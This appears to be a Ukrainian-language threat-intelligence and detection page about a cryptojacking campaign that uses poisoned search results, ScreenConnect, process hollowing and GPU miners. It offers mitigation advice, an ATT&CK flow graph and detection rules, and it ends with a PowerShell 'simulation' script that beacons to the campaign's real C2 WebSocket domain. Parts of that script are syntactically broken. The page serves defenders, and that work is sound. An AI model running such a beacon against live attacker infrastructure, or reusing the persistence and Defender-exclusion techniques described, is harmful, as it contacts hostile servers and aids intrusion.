Від отруєних результатів пошуку до майнінгу на GPU: Кампанія криптоджекінгу за допомогою ScreenConnect та .NET утиліт
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Ця кампанія використовує SEO-поінг і маніпульовані результати пошуку AI-чатботів, щоб заманювати користувачів до завантаження фальшивих інструментів для моніторингу обладнання. Троянізовані інсталятори переносять шкідливу DLL, яка завантажується в легітимний додаток і тихо встановлює ScreenConnect. Зловмисники потім використовують ScreenConnect для запуску користувацького наступника RunPE, який порожнить підписані Microsoft .NET бінарні файли та ін’єктує наступний етап корисного навантаження. Останній етап завантажує інструменти для майнінгу GPU, такі як gminer, lolMiner, та SRBMiner-MULTI, потім підтримує стабільність через заплановані завдання, ключі реєстру Run та ярлик на старті. Шкідливе ПЗ також додає виключення Windows Defender для зменшення ймовірності виявлення.
Розслідування
Дослідники Microsoft Defender відобразили повний ланцюг інфекції, включаючи метод завантаження DLL, зловживання ScreenConnect як інструментом для віддаленого управління і використання користувацького завантаження RunPE під назвою SimpleRunPE.exe. Аналітики відновили аргументи командного рядка ScreenConnect, ідентифікували список підписаних .NET бінарних файлів, використовуваних для процесу порожнення, і задокументували командно-контрольну кінцеву точку, захищену TLS сертифікатом з пінгом. Розслідування також виявило допоміжну інфраструктуру, як-от шкідливі домени, IP-адреси та деталі постачальника DNS, пов’язані з кампанією.
Зменшення ризику
Захисники повинні активувати захист, що доставляється через хмару, впроваджувати правила зменшення площі атаки, блокувати виконувані файли, які не відповідають вимогам репутації, поширеності або віку, і включати веб-захист і захист мережі в Microsoft Defender для Endpoint. Інструменти віддаленого управління, такі як ScreenConnect, повинні бути відключені, де це не потрібно, або суворо контролюватися, де необхідно, з моніторингом несанкціонованих запланованих завдань і підозрілих записів реєстру Run. Будь-які виключення Windows Defender, додані зловмисним ПЗ, мають бути видалені негайно, а виявлені шкідливі домени та IP-адреси повинні бути заблоковані.
Відповідь
If RuntimeHost.exe or SimpleRunPE.exe знайдений, що працює з прихованих каталогів кешу, негайно ізолюйте уражений хост, припиніть пов’язану сесію ScreenConnect і видаліть усі механізми стабільності, включаючи заплановані завдання, ключі Run і ярлики на старті. Заблокуйте домен minemine.gleeze.com і виявлені IP-адреси, потім проводьте пошук по середовищу для згаданих бінарних файлів майнера та autorun.dll. Нарешті, відновіть захисти Defender і перегляньте налаштування виключень для будь-яких несанкціонованих змін.
graph TB %% Визначення класів classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ffcc66 classDef persistence fill:#99ff99 classDef defense fill:#ff66cc classDef privilege fill:#ffb366 classDef c2 fill:#66ccff classDef discovery fill:#c2c2f0 %% Вузли action_initial_access[“<b>Дія</b> – <b>T1659 Інʼєкція контенту</b><br/>SEO poisoning та посилання AI-чатботів доставляють шкідливі ZIP-файли, замасковані під утиліти.”] class action_initial_access action technique_event_trigger[“<b>Техніка</b> – <b>T1546.009 AppCert DLL</b><br/>autorun.dll, розміщена поруч із легітимною утилітою, завантажується під час запуску утиліти.”] class technique_event_trigger technique process_msiexec[“<b>Процес</b> – msiexec.exe”] class process_msiexec process technique_dll_injection[“<b>Техніка</b> – <b>T1055.001 Інʼєкція Dynamic-link Library</b><br/>autorun.dll викликає msiexec для тихої інсталяції шкідливої vcredist_x64.dll, що містить інсталятор ScreenConnect.”] class technique_dll_injection technique technique_proxy_execution[“<b>Техніка</b> – <b>T1218.007 Proxy Execution через Msiexec</b><br/>msiexec запускає шкідливий інсталятор та встановлює клієнт ScreenConnect.”] class technique_proxy_execution technique malware_screenconnect[“<b>Шкідливе ПЗ</b> – клієнт ScreenConnect”] class malware_screenconnect malware persistence_scheduled[“<b>Закріплення</b> – <b>T1543 Scheduled Tasks</b><br/>Завдання з назвами “Windows System Health” тощо повторно запускають шкідливе ПЗ.”] class persistence_scheduled persistence persistence_registry[“<b>Закріплення</b> – <b>T1037.001 Logon Script</b><br/>Додаються Registry Run ключі (HKLM/HKCU\\Run\\WinSysCache).”] class persistence_registry persistence persistence_startup[“<b>Закріплення</b> – <b>T1037.004 RC Script</b><br/>Ярлик у папці Startup вказує на RuntimeHost.exe.”] class persistence_startup persistence defense_exclusions[“<b>Уникнення захисту</b> – <b>T1564.012 Виключення файлів/шляхів</b> & <b>T1564.010 Підміна аргументів процесу</b><br/>Додає виключення Windows Defender для файлів і процесів.”] class defense_exclusions defense defense_impair[“<b>Уникнення захисту</b> – <b>T1562 Порушення роботи захисту</b><br/>Використовує виключення для обходу AV-виявлення.”] class defense_impair defense defense_sandbox[“<b>Уникнення захисту</b> – <b>T1497 Уникнення віртуалізації/пісочниці</b><br/>Перевірки активності користувача (T1497.002) та часові механізми уникнення (T1497.003) переривають виконання в аналітичних середовищах.”] class defense_sandbox defense defense_codesign[“<b>Уникнення захисту</b> – <b>T1553.002 Підрив механізмів довіри</b><br/>Шкідливий код виконується всередині підписаних Microsoft .NET-бінарників через process hollowing.”] class defense_codesign defense privilege_hollowing[“<b>Підвищення привілеїв</b> – <b>T1055.012 Process Hollowing</b><br/>SimpleRunPE запускає легітимний .NET-бінарник у призупиненому стані та інʼєктує payload.”] class privilege_hollowing privilege c2_websocket[“<b>Командування та контроль</b> – <b>T1102.002 Websocket</b><br/>Зашифроване зʼєднання wss://minemine.gleeze.com:8443/ws із TLS pinning.”] class c2_websocket c2 discovery_info[“<b>Розвідка</b> – <b>T1082 Інформація про систему</b>, <b>T1592.001 Апаратне забезпечення</b>, <b>T1592.002 Програмне забезпечення</b><br/>Збирає інформацію про CPU, GPU, RAM, версію ОС, продукт безпеки тощо для оцінки придатності до майнінгу.”] class discovery_info discovery %% Потік action_initial_access –>|призводить до| technique_event_trigger technique_event_trigger –>|завантажує| process_msiexec process_msiexec –>|виконує| technique_dll_injection technique_dll_injection –>|встановлює| technique_proxy_execution technique_proxy_execution –>|встановлює| malware_screenconnect malware_screenconnect –>|створює| persistence_scheduled malware_screenconnect –>|створює| persistence_registry malware_screenconnect –>|створює| persistence_startup malware_screenconnect –>|додає| defense_exclusions defense_exclusions –>|дозволяє| defense_impair defense_impair –>|сприяє| defense_sandbox defense_sandbox –>|підтримується| defense_codesign defense_codesign –>|дозволяє| privilege_hollowing privilege_hollowing –>|встановлює| c2_websocket c2_websocket –>|отримує| discovery_info
Потік атаки
Виявлення
Можливі точки стійкості [ASEPs – Software/NTUSER Hive] (через подію реєстру)
Переглянути
Schtasks Вказує на Підозрілий Каталог / Бінарний / Скрипт (через cmdline)
Переглянути
Альтернативне Віддалене Управління / ПЗ для Управління (через створення процесу)
Переглянути
Підозріле Використання CURL (через cmdline)
Переглянути
Виклик Підозрілих .NET Методів з Powershell (через powershell)
Переглянути
Підозрілі Зміни Налаштувань Windows Defender (через powershell)
Переглянути
Можливі Перевірки Переховування (через powershell)
Переглянути
Підозрілі Бінарні / Скрипти в Автозапуску (через подію з файлом)
Переглянути
IOC (SHA256 хеш) для виявлення: Від отруєних результатів пошуку до майнінгу на ГПУ: Кампанія криптоджекінгу, що зловживає ScreenConnect і Microsoft .NET Utility
Переглянути
IOC (SourceIP) для виявлення: Від отруєних результатів пошуку до майнінгу на ГПУ: Кампанія криптоджекінгу, що зловживає ScreenConnect і Microsoft .NET Utility
Переглянути
IOC (DestinationIP) для виявлення: Від отруєних результатів пошуку до майнінгу на ГПУ: Кампанія криптоджекінгу, що зловживає ScreenConnect і Microsoft .NET Utility
Переглянути
C2 Комунікація з Порожнього Бінарного Файлу [з’єднання Windows Network]
Переглянути
Стійкий Віддалений Доступ та Порожнення Процесу через ScreenConnect і SimpleRunPE [створення процесу Windows]
Переглянути
Виконання Симуляції
Передумова: Телеметрія та первісна перевірка базового рівня повинна бути пройдена.
Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), розробленої для виклику правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати виявлені TTPs та метою є створення точної телеметрії, що очікується логікою виявлення.
-
Атакова Розповідь і Команди:
Зловмисник вже доставив порожнє легітимне бінарне на жертву. Бінарний файл тепер ініціює стійкий C2 канал через WebSocket з’єднання зwss://minemine.gleeze.com:8443/ws. Щоб його емулювати, ми використовуємо скрипт PowerShell, який створює .NETClientWebSocket, за бажанням встановлює спеціальний зворотний виклик перевірки сертифіката TLS (імітуючи пінг сертифіката), і підтримує з’єднання протягом короткого часу. -
Скрипт Тесту Регресії:
# Симуляція C2 комунікації з порожнього бінарного # Вимоги: PowerShell 5+ (вбудовані .NET класи) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Створити клієнт WebSocket $ws = [System.Net.WebSockets.ClientWebSocket]::new() # ДОДАТКОВО: Забезпечити пінг сертифікатів (приймати лише певний відбиток) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # замінник $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "З'єднання з C2 кінцевою точкою $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "З'єднання встановлено. Відправка маяка... # Відправити фиктивний маяк (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).To String('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Відкриття каналу для короткого часу } finally { Write-Host "Закриття WebSocket..." $ws.Abort() } -
Команди для Очищення:
# Забезпечте завершення будь-яких процесів WebSocket Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Опціонально видалити тимчасові файли, що використовуються в тесті Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue